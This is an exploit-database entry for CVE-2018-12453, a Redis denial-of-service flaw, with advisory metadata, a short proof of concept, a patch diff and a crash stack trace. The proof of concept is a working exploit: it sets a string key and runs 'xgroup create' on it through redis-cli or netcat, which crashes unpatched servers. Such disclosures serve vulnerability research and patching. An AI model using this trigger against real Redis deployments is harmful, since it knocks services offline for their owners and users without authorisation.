Redis 5.0 Denial Of Service

`# Exploit Title: Redis 5.0 Denial of Service  
# Date: 2018-06-13  
# Exploit Author: Fakhri Zulkifli (@d0lph1n98)  
# Vendor Homepage: https://redis.io/  
# Software Link: https://redis.io/download  
# Version: 5.0  
# Fixed on: 5.0  
# CVE : CVE-2018-12453  
  
Type confusion in the xgroupCommand function in t_stream.c in redis-server in Redis before 5.0 allows remote attackers to cause denial-of-service via an XGROUP command in which the key is not a stream.  
  
  
PoC:  
$ ./src/redis-cli -p 1234  
127.0.0.1:1234> set a 123  
OK  
127.0.0.1:1234> xgroup create a b $  
Error: Connection reset by peer <a segfault'ed  
127.0.0.1:1234>  
  
The bug also could be triggered via netcat  
$ nc 127.0.0.1 1234  
set a 123  
+OK  
xgroup create a b $ <a segfaultaed after this line  
  
  
@@ -1576,7 +1576,7 @@ NULL  
/* Lookup the key now, this is common for all the subcommands but HELP. */  
if (c->argc >= 4) {  
robj *o = lookupKeyWriteOrReply(c,c->argv[2],shared.nokeyerr);  
- if (o == NULL) return;  
+ if (o == NULL || checkType(c,o,OBJ_STREAM)) return;  
s = o->ptr;  
grpname = c->argv[3]->ptr;  
  
  
#0 0x6d0706 in logStackContent /home/user/redis/src/debug.c:732:45  
#1 0x6d3917 in sigsegvHandler /home/user/redis/src/debug.c:1089:5  
#2 0x7f65d736e38f (/lib/x86_64-linux-gnu/libpthread.so.0+0x1138f)  
#3 0x804afc in streamLookupCG /home/user/redis/src/t_stream.c:1502:12  
#4 0x805b36 in xgroupCommand /home/user/redis/src/t_stream.c:1584:19  
#5 0x58ded7 in call /home/user/redis/src/server.c:2298:5  
#6 0x591c70 in processCommand /home/user/redis/src/server.c:2580:9  
#7 0x5e2d98 in processInputBuffer /home/user/redis/src/networking.c:1325:17  
#8 0x565612 in aeProcessEvents /home/user/redis/src/ae.c:443:17  
#9 0x56614c in aeMain /home/user/redis/src/ae.c:501:9  
#10 0x59da71 in main /home/user/redis/src/server.c:3992:5  
#11 0x7f65d6d9d82f in __libc_start_main /build/glibc-Cl5G7W/glibc-2.23/csu/../csu/libc-start.c:291  
#12 0x43da38 in _start (/home/user/redis/src/redis-server+0x43da38)  
  
`